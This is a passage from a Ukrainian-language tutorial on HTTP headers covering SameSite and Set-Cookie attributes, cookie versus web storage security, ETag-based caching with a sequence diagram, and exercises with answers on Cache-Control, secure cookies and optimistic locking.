Cookie надсилається у всіх запитах (same-site та cross-site). Використовується для:- Вбудованих віджетів (iframe).
- OAuth-авторизації.
- Трекінгу (аналітика, реклама).
Порівняння:
| Сценарій | Strict | Lax | None |
|---|---|---|---|
| Перехід за посиланням з email | ❌ | ✅ | ✅ |
| POST-форма з іншого сайту | ❌ | ❌ | ✅ |
| AJAX-запит з іншого домену | ❌ | ❌ | ✅ |
| Запити в межах свого сайту | ✅ | ✅ | ✅ |
Приклади комбінацій атрибутів
1. Session cookie для автентифікації (найбезпечніший)
Set-Cookie: sessionId=abc123xyz456; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=3600
2. Persistent cookie для "Remember me" (30 днів)
Set-Cookie: rememberToken=longtoken123; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=2592000
3. Cookie для UI-налаштувань (без HttpOnly, 1 рік)
Set-Cookie: theme=dark; Secure; SameSite=Lax; Path=/; Max-Age=31536000
4. Cookie для OAuth callback (cross-site)
Set-Cookie: oauthState=randomstate; Secure; SameSite=None; Path=/auth; Max-Age=600
5. Видалення cookie (Max-Age=0 або Expires у минулому)
Set-Cookie: sessionId=; Max-Age=0; Path=/
або
Set-Cookie: sessionId=; Expires=Thu, 01 Jan 1970 00:00:00 GMT; Path=/
Cookie vs LocalStorage vs SessionStorage
| Характеристика | Cookie | LocalStorage | SessionStorage |
|---|---|---|---|
| Розмір | 4 КБ на домен | 5-10 МБ на домен | 5-10 МБ на домен |
| Автоматична передача | ✅ Так (заголовок Cookie) | ❌ Ні | ❌ Ні |
| Доступ з JS | ✅ Так (якщо не HttpOnly) | ✅ Так | ✅ Так |
| Час життя | Налаштовується | Назавжди (до очищення) | До закриття вкладки |
| Використання | Автентифікація, сесії | Кеш, налаштування | Тимчасові дані форми |
| Безпека | HttpOnly, Secure, SameSite | XSS-вразливі | XSS-вразливі |
Cookies з HttpOnly + Secure + SameSite є найбезпечнішим варіантом для збереження токенів. LocalStorage доступний для XSS-атак — якщо зловмисник впровадить скрипт, він може вкрасти токен.
Діаграма взаємодії заголовків
@startuml HTTP Headers Interaction
skinparam backgroundColor #FEFEFE
skinparam handwritten false
actor "Клієнт\n(Браузер)" as Client
participant "Кеш\nБраузера" as Cache
participant "CDN/Проксі" as CDN
participant "Веб-сервер\n(nginx)" as WebServer
participant "Backend\n(API Server)" as Backend
database "База даних" as DB
== Перший запит (кеш порожній) ==
Client -> WebServer: GET /api/products\n**Request Headers:**\nHost: api.example.com\nUser-Agent: Mozilla/5.0...\nAccept: application/json\nAccept-Encoding: gzip, br\nCookie: sessionId=abc123
WebServer -> Backend: Перевірка сесії,\nзавантаження даних
Backend -> DB: SELECT * FROM products
DB --> Backend: Дані продуктів
Backend --> WebServer: JSON-відповідь
WebServer --> Client: HTTP/1.1 200 OK\n**Response Headers:**\nContent-Type: application/json\nContent-Encoding: gzip\nETag: "products-v5-hash"\nCache-Control: private, max-age=300\nSet-Cookie: lastVisit=2026-08-29\n\n[JSON дані]
Client -> Cache: Зберегти у кеш\n(5 хвилин)
== Другий запит (кеш актуальний, <5 хв) ==
Client -> Cache: GET /api/products
Cache --> Client: Повернути з кешу\n(без запиту до сервера)
== Третій запит (кеш застарів, >5 хв) ==
Client -> WebServer: GET /api/products\n**Conditional Request:**\nIf-None-Match: "products-v5-hash"\nCookie: sessionId=abc123
WebServer -> Backend: Перевірити ETag
Backend --> WebServer: Дані не змінилися
WebServer --> Client: HTTP/1.1 304 Not Modified\nETag: "products-v5-hash"\nCache-Control: private, max-age=300\n\n[Тіло порожнє]
Client -> Cache: Використати\nстарі дані з кешу
note right of Client
Економія трафіку: ~80%
Лише заголовки, без тіла
end note
== Четвертий запит (дані оновилися) ==
Client -> WebServer: GET /api/products\nIf-None-Match: "products-v5-hash"
WebServer -> Backend: Перевірити ETag
Backend -> DB: SELECT * FROM products
DB --> Backend: Нові дані
Backend --> WebServer: JSON з новими даними
WebServer --> Client: HTTP/1.1 200 OK\nETag: "products-v6-hash"\nCache-Control: private, max-age=300\n\n[Нові JSON дані]
Client -> Cache: Оновити кеш
@enduml
Узагальнення та найкращі практики
🔒 Безпека
Обов'язкові заголовки для продакшн:
Secureдля всіх cookies через HTTPSHttpOnlyдля автентифікаційних cookiesSameSite=StrictабоLaxдля захисту від CSRF- Приховувати версію у
Serverзаголовку - Використовувати HTTPS для Basic Authentication
⚡ Продуктивність
Оптимізація кешування:
- Статичні файли:
Cache-Control: public, max-age=31536000, immutable - HTML:
Cache-Control: no-cache+ETag - API:
Cache-Control: private, max-age=<час>+ETag - Завжди використовувати
Accept-Encoding: gzip, br - Умовні запити (
If-None-Match) економлять до 80% трафіку
📝 Content Negotiation
Узгодження контенту:
Acceptдля формату (JSON, XML, HTML)Accept-Languageдля мультимовних сайтівAccept-Encodingдля стисненняVaryдля коректного кешування варіацій
🍪 Cookies
Налаштування cookies:
- Session:
HttpOnly; Secure; SameSite=Strict; Max-Age=<час> - Remember me:
HttpOnly; Secure; SameSite=Lax; Max-Age=2592000 - UI:
Secure; SameSite=Lax; Max-Age=31536000 - Видалення:
Max-Age=0
Контрольні питання
Завдання: Виберіть правильні директиви Cache-Control для наступних ресурсів:
a) CSS-файл з хешем у назві: styles.a3f2b9d.css
b) HTML-сторінка головної
c) JSON-відповідь API з персоналізованими даними користувача
d) Банківська виписка (PDF)
Відповіді:
a) CSS з хешем:
Cache-Control: public, max-age=31536000, immutable
Файл ніколи не зміниться (при зміні змінюється назва). Кешувати назавжди на всіх рівнях (браузер, CDN, проксі).
b) HTML головної:
Cache-Control: no-cache, must-revalidate
ETag: "html-version-42"
Завжди перевіряти з сервером (але використовувати 304 для економії). HTML потребує актуальності.
c) Персоналізовані API-дані:
Cache-Control: private, max-age=300, must-revalidate
ETag: "user-42-data-hash"
private — не кешувати на CDN (дані персональні). max-age=300 — 5 хвилин актуальності. must-revalidate — обов'язково перевірити після закінчення.
d) Банківська виписка:
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Жодного кешування для чутливих фінансових даних.
::
Завдання: Проаналізуйте наступний заголовок та знайдіть проблеми безпеки:
Set-Cookie: sessionId=user123token; Path=/; Max-Age=86400
Що не так? Як виправити?
Проблеми:
- Немає
Secure— cookie передаватиметься через HTTP, можливе перехоплення. - Немає
HttpOnly— cookie доступне через JavaScript, вразливе до XSS. - Немає
SameSite— вразливе до CSRF-атак.
Виправлена версія:
Set-Cookie: sessionId=user123token; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=86400
Пояснення:
HttpOnly— захист від XSS (не можна вкрасти черезdocument.cookie).Secure— лише через HTTPS (захист від перехоплення).SameSite=Strict— захист від CSRF (cookie не надсилається у cross-site запитах).
Завдання: Реалізуйте сценарій оптимістичної блокування для оновлення статті блогу. Напишіть RAW HTTP-запити та відповіді для успішного та конфліктного оновлення.
Сценарій успішного оновлення:
1. Отримання статті:
GET /api/articles/42 HTTP/1.1
Host: blog.example.com
Authorization: Bearer token-user-A
Відповідь:
HTTP/1.1 200 OK
Content-Type: application/json
ETag: "article-v10"
{"id":42,"title":"Old Title","content":"...","version":10}
2. Оновлення (версія не змінилася):
PUT /api/articles/42 HTTP/1.1
If-Match: "article-v10"
Content-Type: application/json
{"title":"New Title","content":"updated content"}
Відповідь (успіх):
HTTP/1.1 200 OK
ETag: "article-v11"
Content-Type: application/json
{"id":42,"title":"New Title","version":11,"updatedAt":"2026-08-29T14:30:00Z"}
Сценарій конфлікту (хтось вже оновив):
Користувач B: Оновлення зі старою версією:
PUT /api/articles/42 HTTP/1.1
If-Match: "article-v10"
Content-Type: application/json
{"title":"Different Title","content":"..."}
Відповідь (конфлікт):
HTTP/1.1 412 Precondition Failed
ETag: "article-v11"
Content-Type: application/json
{
"error": "Precondition Failed",
"message": "Article was modified by another user",
"currentVersion": 11,
"yourVersion": 10,
"suggestion": "Reload the article, merge changes, and try again"
}
::
Додаткові ресурси
- RFC 9110 — HTTP Semantics (офіційна специфікація заголовків).
- MDN Web Docs: HTTP Headers — повний список заголовків з прикладами.
- web.dev: HTTP Caching — глибокий посібник з кешування від Google.
- OWASP: Cookies Security — рекомендації безпеки для cookies.